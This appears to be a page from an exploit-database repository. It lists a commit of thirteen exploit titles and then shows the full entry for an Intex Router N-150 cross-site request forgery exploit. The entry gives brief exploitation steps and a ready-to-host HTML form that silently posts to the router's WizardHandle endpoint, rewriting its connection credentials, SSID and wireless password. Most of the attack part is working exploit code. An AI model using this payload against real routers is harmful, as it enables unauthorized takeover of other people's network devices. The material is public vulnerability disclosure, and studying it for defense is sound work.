d8206fb5eb
13 changes to exploits/shellcodes KVM (Nested Virtualization) - L1 Guest Privilege Escalation DIGISOL DG-BR4000NG - Buffer Overflow (PoC) Foxit Reader 9.0.1.1049 - Remote Code Execution WordPress Plugin iThemes Security < 7.0.3 - SQL Injection phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1) phpMyAdmin 4.8.1 - Local File Inclusion phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2) WordPress Plugin Advanced Order Export For WooCommerce < 1.5.4 - CSV Injection Ecessa Edge EV150 10.7.4 - Cross-Site Request Forgery (Add Superuser) Intex Router N-150 - Cross-Site Request Forgery (Add Admin) DIGISOL DG-BR4000NG - Cross-Site Scripting Ecessa WANWorx WVR-30 < 10.7.4 - Cross-Site Request Forgery (Add Superuser) AsusWRT RT-AC750GF - Cross-Site Request Forgery (Change Admin Password) Ecessa ShieldLink SL175EHQ < 10.7.4 - Cross-Site Request Forgery (Add Superuser) Intex Router N-150 - Arbitrary File Upload WordPress Plugin Comments Import & Export < 2.0.4 - CSV Injection
40 lines
No EOL
1.6 KiB
Text
40 lines
No EOL
1.6 KiB
Text
# Exploit Title: Intex Router N-150 - Cross-Site Request Forgery (Add Admin)
|
||
# Date: 2018-06-23
|
||
# Exploit Author: Navina Asrani
|
||
# Version: N-150
|
||
# CVE : N/A
|
||
# Category: Router Firmware
|
||
|
||
# 1. Description
|
||
# The firmware allows malicious request to be executed without verifying
|
||
# source of request. This leads to arbitrary execution with malicious request
|
||
# which will lead to the creation of a privileged user..
|
||
|
||
# 2. Proof of Concept
|
||
# Visit the application
|
||
# Go to any router setting modification page and change the values,
|
||
# create a request and observe the lack of CSRF tokens.
|
||
# Craft an html page with all the details for the built-in admin
|
||
# user creation and host it on a server
|
||
# Upon the link being clicked by a logged in admin user,
|
||
# immediately, the action will get executed
|
||
# Exploitation Technique: A attacker can create a rogue admin user to gain
|
||
# access to the application.
|
||
|
||
# Exploit code:
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="http://192.168.0.1/goform/WizardHandle" method="POST">
|
||
<input type="hidden" name="GO" value="index.asp" />
|
||
<input type="hidden" name="v12_time" value="1529768448.425" />
|
||
<input type="hidden" name="WANT1" value="3" />
|
||
<input type="hidden" name="isp" value="3" />
|
||
<input type="hidden" name="PUN" value="testuser_k" />
|
||
<input type="hidden" name="PPW" value="123456" />
|
||
<input type="hidden" name="SSID" value="testwifiap" />
|
||
<input type="hidden" name="wirelesspassword" value="00000000" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
</body>
|
||
</html> |